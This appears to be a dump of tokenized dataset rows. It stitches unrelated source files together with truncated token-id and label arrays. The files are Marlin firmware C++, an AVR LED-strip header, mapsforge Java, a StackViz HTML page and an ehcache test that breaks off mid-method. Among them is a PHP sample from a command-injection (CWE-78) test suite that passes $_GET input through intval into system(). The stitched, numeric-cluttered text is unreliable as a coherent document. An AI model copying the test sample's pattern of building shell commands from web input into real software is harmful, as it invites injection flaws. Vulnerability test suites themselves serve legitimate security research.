0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/**
* Marlin 3D Printer Firmware
* Copyright (c) 2020 MarlinFirmware [https://github.com/MarlinFirmware/Marlin]
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*
*/
#include "../../inc/MarlinConfig.h"
#if HAS_TOUCH_BUTTONS
#include "touch_buttons.h"
#include "../scaled_tft.h"
#include HAL_PATH(../../HAL, tft/xpt2046.h)
XPT2046 touchIO;
#if ENABLED(TOUCH_SCREEN_CALIBRATION)
#include "../tft_io/touch_calibration.h"
#endif
#include "../buttons.h" // For EN_C bit mask
#include "../marlinui.h" // For ui.refresh
#include "../tft_io/tft_io.h"
#define DOGM_AREA_LEFT TFT_PIXEL_OFFSET_X
#define DOGM_AREA_TOP TFT_PIXEL_OFFSET_Y
#define DOGM_AREA_WIDTH (GRAPHICAL_TFT_UPSCALE) * (LCD_PIXEL_WIDTH)
#define DOGM_AREA_HEIGHT (GRAPHICAL_TFT_UPSCALE) * (LCD_PIXEL_HEIGHT)
#define BUTTON_AREA_TOP BUTTON_Y_LO
#define BUTTON_AREA_BOT BUTTON_Y_HI
TouchButtons touch;
void TouchButtons::init() { touchIO.Init(); }
uint8_t TouchButtons::read_buttons() {
#ifdef HAS_WIRED_LCD
int16_t x, y;
const bool is_touched = (TERN(TOUCH_SCREEN_CALIBRATION, touch_calibration.calibration.orientation, TOUCH_ORIENTATION) == TOUCH_PORTRAIT ? touchIO.getRawPoint(&y, &x) : touchIO.getRawPoint(&x, &y));
if (!is_touched) return 0;
#if ENABLED(TOUCH_SCREEN_CALIBRATION)
const calibrationState state = touch_calibration.get_calibration_state();
if (state >= CALIBRATION_TOP_LEFT && state <= CALIBRATION_BOTTOM_RIGHT) {
if (touch_calibration.handleTouch(x, y)) ui.refresh();
return 0;
}
x = int16_t((int32_t(x) * touch_calibration.calibration.x) >> 16) + touch_calibration.calibration.offset_x;
y = int16_t((int32_t(y) * touch_calibration.calibration.y) >> 16) + touch_calibration.calibration.offset_y;
#else
x = uint16_t((uint32_t(x) * TOUCH_CALIBRATION_X) >> 16) + TOUCH_OFFSET_X;
y = uint16_t((uint32_t(y) * TOUCH_CALIBRATION_Y) >> 16) + TOUCH_OFFSET_Y;
#endif
// Touch within the button area simulates an encoder button
if (y > BUTTON_AREA_TOP && y < BUTTON_AREA_BOT)
return WITHIN(x, BUTTOND_X_LO, BUTTOND_X_HI) ? EN_D
: WITHIN(x, BUTTONA_X_LO, BUTTONA_X_HI) ? EN_A
: WITHIN(x, BUTTONB_X_LO, BUTTONB_X_HI) ? EN_B
: WITHIN(x, BUTTONC_X_LO, BUTTONC_X_HI) ? EN_C
: 0;
if ( !WITHIN(x, DOGM_AREA_LEFT, DOGM_AREA_LEFT + DOGM_AREA_WIDTH)
|| !WITHIN(y, DOGM_AREA_TOP, DOGM_AREA_TOP + DOGM_AREA_HEIGHT)
) return 0;
// Column and row above BUTTON_AREA_TOP
int8_t col = (x - (DOGM_AREA_LEFT)) * (LCD_WIDTH) / (DOGM_AREA_WIDTH),
row = (y - (DOGM_AREA_TOP)) * (LCD_HEIGHT) / (DOGM_AREA_HEIGHT);
// Send the touch to the UI (which will simulate the encoder wheel)
MarlinUI::screen_click(row, col, x, y);
#endif
return 0;
}
#endif // HAS_TOUCH_BUTTONS
| 1stsetup/Marlin | Marlin/src/lcd/touch/touch_buttons.cpp | C++ | gpl-3.0 | 3,431 | [
30522,
1013,
1008,
1008,
1008,
9388,
4115,
7605,
15041,
3813,
8059,
1008,
9385,
1006,
1039,
1007,
12609,
9388,
4115,
27972,
8059,
1031,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
9388,
4115,
27972,
8059,
1013,
9388,
4115... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
/*
Safe sample
input : get the field userData from the variable $_GET via an object
sanitize : use of intval
construction : use of sprintf via a %s with simple quote
*/
/*Copyright 2015 Bertrand STIVALET
Permission is hereby granted, without written agreement or royalty fee, to
use, copy, modify, and distribute this software and its documentation for
any purpose, provided that the above copyright notice and the following
three paragraphs appear in all copies of this software.
IN NO EVENT SHALL AUTHORS BE LIABLE TO ANY PARTY FOR DIRECT,
INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF AUTHORS HAVE
BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
AUTHORS SPECIFICALLY DISCLAIM ANY WARRANTIES INCLUDING, BUT NOT
LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
PARTICULAR PURPOSE, AND NON-INFRINGEMENT.
THE SOFTWARE IS PROVIDED ON AN "AS-IS" BASIS AND AUTHORS HAVE NO
OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
MODIFICATIONS.*/
class Input{
public function getInput(){
return $_GET['UserData'] ;
}
}
$temp = new Input();
$tainted = $temp->getInput();
$tainted = intval($tainted);
$query = sprintf("find / size '%d'", $tainted);
$ret = system($query);
?> | stivalet/PHP-Vulnerability-test-suite | Injection/CWE_78/safe/CWE_78__object-directGet__func_intval__find_size-sprintf_%s_simple_quote.php | PHP | mit | 1,327 | [
30522,
1026,
1029,
25718,
1013,
1008,
3647,
7099,
7953,
1024,
2131,
1996,
2492,
5310,
2850,
2696,
2013,
1996,
8023,
1002,
1035,
2131,
3081,
2019,
4874,
2624,
25090,
4371,
1024,
2224,
1997,
20014,
10175,
2810,
1024,
2224,
1997,
9043,
2546,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#pragma once
/**
Utils for driving a WS2812 (WS2812B) RGB LED strips.
It's implemented as macros to avoid overhead when passing values, and to
enable driving multiple strips at once.
To avoid bloating your code, try to reduce the number of invocations -
compute color and then send it.
[IMPORTANT]
Some seemingly random influences can ruin the communication.
If you have enough memory, consider preparing the colors in array,
and sending this array using one of the "ws_send_XXX_array" macros.
*/
#include <avr/io.h>
#include "pins.h"
#include "nsdelay.h"
#include "colors.h"
/* Driver code for WS2812B */
// --- timing constraints (NS) ---
#ifndef WS_T_1H
# define WS_T_1H 700
#endif
#ifndef WS_T_1L
# define WS_T_1L 150
#endif
#ifndef WS_T_0H
# define WS_T_0H 150
#endif
#ifndef WS_T_0L
# define WS_T_0L 700
#endif
#ifndef WS_T_LATCH
# define WS_T_LATCH 7000
#endif
/** Wait long enough for the colors to show */
#define ws_show() do {delay_ns_c(WS_T_LATCH, 0); } while(0)
/** Send one byte to the RGB strip */
#define ws_send_byte(io, bb) do { \
for (volatile int8_t __ws_tmp = 7; __ws_tmp >= 0; --__ws_tmp) { \
if ((bb) & (1 << __ws_tmp)) { \
pin_high(io_pack(io)); delay_ns_c(WS_T_1H, -2); \
pin_low(io_pack(io)); delay_ns_c(WS_T_1L, -10); \
} else { \
pin_high(io_pack(io)); delay_ns_c(WS_T_0H, -2); \
pin_low(io_pack(io)); delay_ns_c(WS_T_0L, -10); \
} \
} \
} while(0)
/** Send R,G,B color to the strip */
#define ws_send_rgb(io, r, g, b) do { \
ws_send_byte(io_pack(io), g); \
ws_send_byte(io_pack(io), r); \
ws_send_byte(io_pack(io), b); \
} while(0)
/** Send a RGB struct */
#define ws_send_xrgb(io, xrgb) ws_send_rgb(io_pack(io), (xrgb).r, (xrgb).g, (xrgb).b)
/** Send color hex */
#define ws_send_rgb24(io, rgb) ws_send_rgb(io_pack(io), rgb24_r(rgb), rgb24_g(rgb), rgb24_b(rgb))
#define ws_send_rgb15(io, rgb) ws_send_rgb(io_pack(io), rgb15_r(rgb), rgb15_g(rgb), rgb15_b(rgb))
#define ws_send_rgb12(io, rgb) ws_send_rgb(io_pack(io), rgb12_r(rgb), rgb12_g(rgb), rgb12_b(rgb))
#define ws_send_rgb6(io, rgb) ws_send_rgb(io_pack(io), rgb6_r(rgb), rgb6_g(rgb), rgb6_b(rgb))
/** Send array of colors */
#define ws_send_xrgb_array(io, rgbs, length) __ws_send_array_proto(io_pack(io), (rgbs), (length), xrgb)
#define ws_send_rgb24_array(io, rgbs, length) __ws_send_array_proto(io_pack(io), (rgbs), (length), rgb24)
#define ws_send_rgb15_array(io, rgbs, length) __ws_send_array_proto(io_pack(io), (rgbs), (length), rgb15)
#define ws_send_rgb12_array(io, rgbs, length) __ws_send_array_proto(io_pack(io), (rgbs), (length), rgb12)
#define ws_send_rgb6_array(io, rgbs, length) __ws_send_array_proto(io_pack(io), (rgbs), (length), rgb6)
// prototype for sending array. it's ugly, sorry.
#define __ws_send_array_proto(io, rgbs, length, style) do { \
for (uint8_t __ws_tmp_sap_i = 0; __ws_tmp_sap_i < length; __ws_tmp_sap_i++) { \
style ## _t __ws_tmp_sap2 = (rgbs)[__ws_tmp_sap_i]; \
ws_send_ ## style(io_pack(io), __ws_tmp_sap2); \
} \
} while(0)
| MightyPork/avr-projects | projects/color-memory-game/lib/ws2812.h | C | mit | 3,153 | [
30522,
1001,
10975,
8490,
2863,
2320,
1013,
1008,
1008,
21183,
12146,
2005,
4439,
1037,
1059,
2015,
22407,
12521,
1006,
1059,
2015,
22407,
12521,
2497,
1007,
1054,
18259,
2419,
12970,
1012,
2009,
1005,
1055,
7528,
2004,
26632,
2015,
2000,
4... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Copyright 2010, 2011, 2012 mapsforge.org
*
* This program is free software: you can redistribute it and/or modify it under the
* terms of the GNU Lesser General Public License as published by the Free Software
* Foundation, either version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY
* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
* PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License along with
* this program. If not, see <http://www.gnu.org/licenses/>.
*/
package org.mapsforge.map.writer.model;
import java.util.Arrays;
import org.mapsforge.core.model.Coordinates;
import org.mapsforge.map.writer.OSMTagMapping;
import org.mapsforge.map.writer.util.OSMUtils;
import org.openstreetmap.osmosis.core.domain.v0_6.Node;
/**
* @author bross
*/
public class TDNode {
// private static final Logger LOGGER = Logger.getLogger(TDNode.class.getName());
private static final byte ZOOM_HOUSENUMBER = (byte) 18;
// private static final byte ZOOM_NAME = (byte) 16;
private final long id;
private final int latitude;
private final int longitude;
private final short elevation; // NOPMD by bross on 25.12.11 12:55
private final String houseNumber;
private final byte layer;
private final String name;
private short[] tags; // NOPMD by bross on 25.12.11 12:55
/**
* Constructs a new TDNode from a given osmosis node entity. Checks the validity of the entity.
*
* @param node
* the osmosis entity
* @param preferredLanguage
* the preferred language or null if no preference
* @return a new TDNode
*/
public static TDNode fromNode(Node node, String preferredLanguage) {
SpecialTagExtractionResult ster = OSMUtils.extractSpecialFields(node, preferredLanguage);
short[] knownWayTags = OSMUtils.extractKnownPOITags(node); // NOPMD by bross on 25.12.11 12:55
java.util.Arrays.sort(knownWayTags);
return new TDNode(node.getId(), Coordinates.degreesToMicrodegrees(node.getLatitude()),
Coordinates.degreesToMicrodegrees(node.getLongitude()), ster.getElevation(), ster.getLayer(),
ster.getHousenumber(), ster.getName(), knownWayTags);
}
/**
* @param id
* the OSM id
* @param latitude
* the latitude
* @param longitude
* the longitude
* @param elevation
* the elevation if existent
* @param layer
* the layer if existent
* @param houseNumber
* the house number if existent
* @param name
* the name if existent
*/
public TDNode(long id, int latitude, int longitude, short elevation, byte layer, String houseNumber, // NOPMD
// by
// bross
// on
// 25.12.11
// 12:55
String name) {
this.id = id;
this.latitude = latitude;
this.longitude = longitude;
this.elevation = elevation;
this.houseNumber = houseNumber;
this.layer = layer;
this.name = name;
}
/**
* @param id
* the OSM id
* @param latitude
* the latitude
* @param longitude
* the longitude
* @param elevation
* the elevation if existent
* @param layer
* the layer if existent
* @param houseNumber
* the house number if existent
* @param name
* the name if existent
* @param tags
* the
*/
public TDNode(long id, int latitude, int longitude, short elevation, byte layer, String houseNumber, // NOPMD
// by
// bross
// on
// 25.12.11
// 12:55
String name, short[] tags) { // NOPMD by bross on 25.12.11 12:58
this.id = id;
this.latitude = latitude;
this.longitude = longitude;
this.elevation = elevation;
this.houseNumber = houseNumber;
this.layer = layer;
this.name = name;
this.tags = tags;
}
/**
* @return true if the node represents a POI
*/
public boolean isPOI() {
return this.houseNumber != null || this.elevation != 0 || this.tags.length > 0;
}
/**
* @return the zoom level on which the node appears first
*/
public byte getZoomAppear() {
if (this.tags == null || this.tags.length == 0) {
if (this.houseNumber != null) {
return ZOOM_HOUSENUMBER;
}
return Byte.MAX_VALUE;
}
return OSMTagMapping.getInstance().getZoomAppearPOI(this.tags);
}
/**
* @return the id
*/
public long getId() {
return this.id;
}
/**
* @return the tags
*/
public short[] getTags() { // NOPMD by bross on 25.12.11 12:58
return this.tags; // NOPMD by bross on 25.12.11 12:56
}
/**
* @param tags
* the tags to set
*/
public void setTags(short[] tags) { // NOPMD by bross on 25.12.11 12:58
this.tags = tags;
}
/**
* @return the latitude
*/
public int getLatitude() {
return this.latitude;
}
/**
* @return the longitude
*/
public int getLongitude() {
return this.longitude;
}
/**
* @return the elevation
*/
public short getElevation() { // NOPMD by bross on 25.12.11 12:58
return this.elevation;
}
/**
* @return the houseNumber
*/
public String getHouseNumber() {
return this.houseNumber;
}
/**
* @return the layer
*/
public byte getLayer() {
return this.layer;
}
/**
* @return the name
*/
public String getName() {
return this.name;
}
@Override
public int hashCode() {
final int prime = 31; // NOPMD by bross on 25.12.11 12:56
int result = 1;
result = prime * result + (int) (this.id ^ (this.id >>> 32));
return result;
}
@Override
public boolean equals(Object obj) {
if (this == obj) {
return true;
}
if (obj == null) {
return false;
}
if (getClass() != obj.getClass()) {
return false;
}
TDNode other = (TDNode) obj;
if (this.id != other.id) {
return false;
}
return true;
}
@Override
public final String toString() {
return "TDNode [id=" + this.id + ", latitude=" + this.latitude + ", longitude=" + this.longitude + ", name="
+ this.name + ", tags=" + Arrays.toString(this.tags) + "]";
}
}
| opensciencemap/VectorTileMap | map-writer-osmosis/src/main/java/org/mapsforge/map/writer/model/TDNode.java | Java | gpl-3.0 | 6,372 | [
30522,
1013,
1008,
1008,
9385,
2230,
1010,
2249,
1010,
2262,
7341,
29278,
3351,
1012,
8917,
1008,
1008,
2023,
2565,
2003,
2489,
4007,
1024,
2017,
2064,
2417,
2923,
3089,
8569,
2618,
2009,
1998,
1013,
2030,
19933,
2009,
2104,
1996,
1008,
3... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>StackViz</title>
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="css/stackviz.css" rel="stylesheet">
</head>
<body>
<div class="container" role="main">
<div class="row">
<div class="col-md-12">
<div class="page-header">
<h1>
StackViz
<small>
An OpenStack CI build artifact visualizer.
</small>
</h1>
</div>
<span class="text-muted">
Currently supports: subunit streams
(<code>testrepository.subunit</code>) + Dstat
(<code>dstat-csv.txt</code>).
</span>
</div>
</div>
<div class="row">
<div class="col-md-12">
<h2>Look Up</h2>
<div class="form-horizontal vspace">
<div class="input-group">
<span class="input-group-addon">
<span class="glyphicon glyphicon-search" aria-hidden="true"></span>
</span>
<input id="input" type="url" class="form-control">
<span class="input-group-btn">
<button id="button" class="btn btn-primary">Search</button>
</span>
</div>
</div>
<p class="text-muted vspace">
Enter a Gerrit URL, change ID, or artifact URL. Will use
the most recent revision unless specified.
</p>
</div>
</div>
<div id="results" class="vspace">
<div class="row">
<div class="col-md-12">
<h2>Results</h2>
<div id="results-error">
No results found for query.
</div>
</div>
</div>
<div id="results-container"></div>
</div>
</div>
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/stackviz.js"></script>
</body>
</html>
| timothyb89/stackviz-deployer | public/index.html | HTML | apache-2.0 | 2,622 | [
30522,
1026,
999,
9986,
13874,
16129,
1028,
1026,
16129,
11374,
1027,
1000,
4372,
1000,
1028,
1026,
2132,
1028,
1026,
18804,
25869,
13462,
1027,
1000,
21183,
2546,
1011,
1022,
1000,
1028,
1026,
18804,
8299,
1011,
1041,
15549,
2615,
1027,
10... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Copyright Terracotta, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.ehcache.config.units;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.greaterThan;
import static org.hamcrest.Matchers.is;
import static org.hamcrest.Matchers.lessThan;
import org.junit.Test;
/**
*
* @author cdennis
*/
public class MemoryUnitTest {
@Test
public void testBasicPositiveConversions() {
assertThat(MemoryUnit.B.toBytes(1L), is(1L));
assertThat(MemoryUnit.KB.toBytes(1L), is(1024L));
assertThat(MemoryUnit.MB.toBytes(1L), is(1024L * 1024L));
assertThat(MemoryUnit.GB.toBytes(1L), is(1024L * 1024L * 1024L));
assertThat(MemoryUnit.TB.toBytes(1L), is(1024L * 1024L * 1024L * 1024L));
assertThat(MemoryUnit.PB.toBytes(1L), is(1024L * 1024L * 1024L * 1024L * 1024L));
assertThat(MemoryUnit.B.convert(1L, MemoryUnit.B), is(1L));
assertThat(MemoryUnit.KB.convert(1L, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.MB.convert(1L, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.GB.convert(1L, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.TB.convert(1L, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.PB.convert(1L, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.B.convert(1L, MemoryUnit.KB), is(1024L));
assertThat(MemoryUnit.KB.convert(1L, MemoryUnit.KB), is(1L));
assertThat(MemoryUnit.MB.convert(1L, MemoryUnit.KB), is(0L));
assertThat(MemoryUnit.GB.convert(1L, MemoryUnit.KB), is(0L));
assertThat(MemoryUnit.TB.convert(1L, MemoryUnit.KB), is(0L));
assertThat(MemoryUnit.PB.convert(1L, MemoryUnit.KB), is(0L));
assertThat(MemoryUnit.B.convert(1L, MemoryUnit.MB), is(1024L * 1024L));
assertThat(MemoryUnit.KB.convert(1L, MemoryUnit.MB), is(1024L));
assertThat(MemoryUnit.MB.convert(1L, MemoryUnit.MB), is(1L));
assertThat(MemoryUnit.GB.convert(1L, MemoryUnit.MB), is(0L));
assertThat(MemoryUnit.TB.convert(1L, MemoryUnit.MB), is(0L));
assertThat(MemoryUnit.PB.convert(1L, MemoryUnit.MB), is(0L));
assertThat(MemoryUnit.B.convert(1L, MemoryUnit.GB), is(1024L * 1024L * 1024L));
assertThat(MemoryUnit.KB.convert(1L, MemoryUnit.GB), is(1024L * 1024L));
assertThat(MemoryUnit.MB.convert(1L, MemoryUnit.GB), is(1024L));
assertThat(MemoryUnit.GB.convert(1L, MemoryUnit.GB), is(1L));
assertThat(MemoryUnit.TB.convert(1L, MemoryUnit.GB), is(0L));
assertThat(MemoryUnit.PB.convert(1L, MemoryUnit.GB), is(0L));
assertThat(MemoryUnit.B.convert(1L, MemoryUnit.TB), is(1024L * 1024L * 1024L * 1024L));
assertThat(MemoryUnit.KB.convert(1L, MemoryUnit.TB), is(1024L * 1024L * 1024L));
assertThat(MemoryUnit.MB.convert(1L, MemoryUnit.TB), is(1024L * 1024L));
assertThat(MemoryUnit.GB.convert(1L, MemoryUnit.TB), is(1024L));
assertThat(MemoryUnit.TB.convert(1L, MemoryUnit.TB), is(1L));
assertThat(MemoryUnit.PB.convert(1L, MemoryUnit.TB), is(0L));
assertThat(MemoryUnit.B.convert(1L, MemoryUnit.PB), is(1024L * 1024L * 1024L * 1024L * 1024L));
assertThat(MemoryUnit.KB.convert(1L, MemoryUnit.PB), is(1024L * 1024L * 1024L * 1024L));
assertThat(MemoryUnit.MB.convert(1L, MemoryUnit.PB), is(1024L * 1024L * 1024L));
assertThat(MemoryUnit.GB.convert(1L, MemoryUnit.PB), is(1024L * 1024L));
assertThat(MemoryUnit.TB.convert(1L, MemoryUnit.PB), is(1024L));
assertThat(MemoryUnit.PB.convert(1L, MemoryUnit.PB), is(1L));
}
@Test
public void testBasicNegativeConversions() {
assertThat(MemoryUnit.B.toBytes(-1L), is(-1L));
assertThat(MemoryUnit.KB.toBytes(-1L), is(-1024L));
assertThat(MemoryUnit.MB.toBytes(-1L), is(-1024L * 1024L));
assertThat(MemoryUnit.GB.toBytes(-1L), is(-1024L * 1024L * 1024L));
assertThat(MemoryUnit.TB.toBytes(-1L), is(-1024L * 1024L * 1024L * 1024L));
assertThat(MemoryUnit.PB.toBytes(-1L), is(-1024L * 1024L * 1024L * 1024L * 1024L));
assertThat(MemoryUnit.B.convert(-1L, MemoryUnit.B), is(-1L));
assertThat(MemoryUnit.KB.convert(-1L, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.MB.convert(-1L, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.GB.convert(-1L, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.TB.convert(-1L, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.PB.convert(-1L, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.B.convert(-1L, MemoryUnit.KB), is(-1024L));
assertThat(MemoryUnit.KB.convert(-1L, MemoryUnit.KB), is(-1L));
assertThat(MemoryUnit.MB.convert(-1L, MemoryUnit.KB), is(0L));
assertThat(MemoryUnit.GB.convert(-1L, MemoryUnit.KB), is(0L));
assertThat(MemoryUnit.TB.convert(-1L, MemoryUnit.KB), is(0L));
assertThat(MemoryUnit.PB.convert(-1L, MemoryUnit.KB), is(0L));
assertThat(MemoryUnit.B.convert(-1L, MemoryUnit.MB), is(-1024L * 1024L));
assertThat(MemoryUnit.KB.convert(-1L, MemoryUnit.MB), is(-1024L));
assertThat(MemoryUnit.MB.convert(-1L, MemoryUnit.MB), is(-1L));
assertThat(MemoryUnit.GB.convert(-1L, MemoryUnit.MB), is(0L));
assertThat(MemoryUnit.TB.convert(-1L, MemoryUnit.MB), is(0L));
assertThat(MemoryUnit.PB.convert(-1L, MemoryUnit.MB), is(0L));
assertThat(MemoryUnit.B.convert(-1L, MemoryUnit.GB), is(-1024L * 1024L * 1024L));
assertThat(MemoryUnit.KB.convert(-1L, MemoryUnit.GB), is(-1024L * 1024L));
assertThat(MemoryUnit.MB.convert(-1L, MemoryUnit.GB), is(-1024L));
assertThat(MemoryUnit.GB.convert(-1L, MemoryUnit.GB), is(-1L));
assertThat(MemoryUnit.TB.convert(-1L, MemoryUnit.GB), is(0L));
assertThat(MemoryUnit.PB.convert(-1L, MemoryUnit.GB), is(0L));
assertThat(MemoryUnit.B.convert(-1L, MemoryUnit.TB), is(-1024L * 1024L * 1024L * 1024L));
assertThat(MemoryUnit.KB.convert(-1L, MemoryUnit.TB), is(-1024L * 1024L * 1024L));
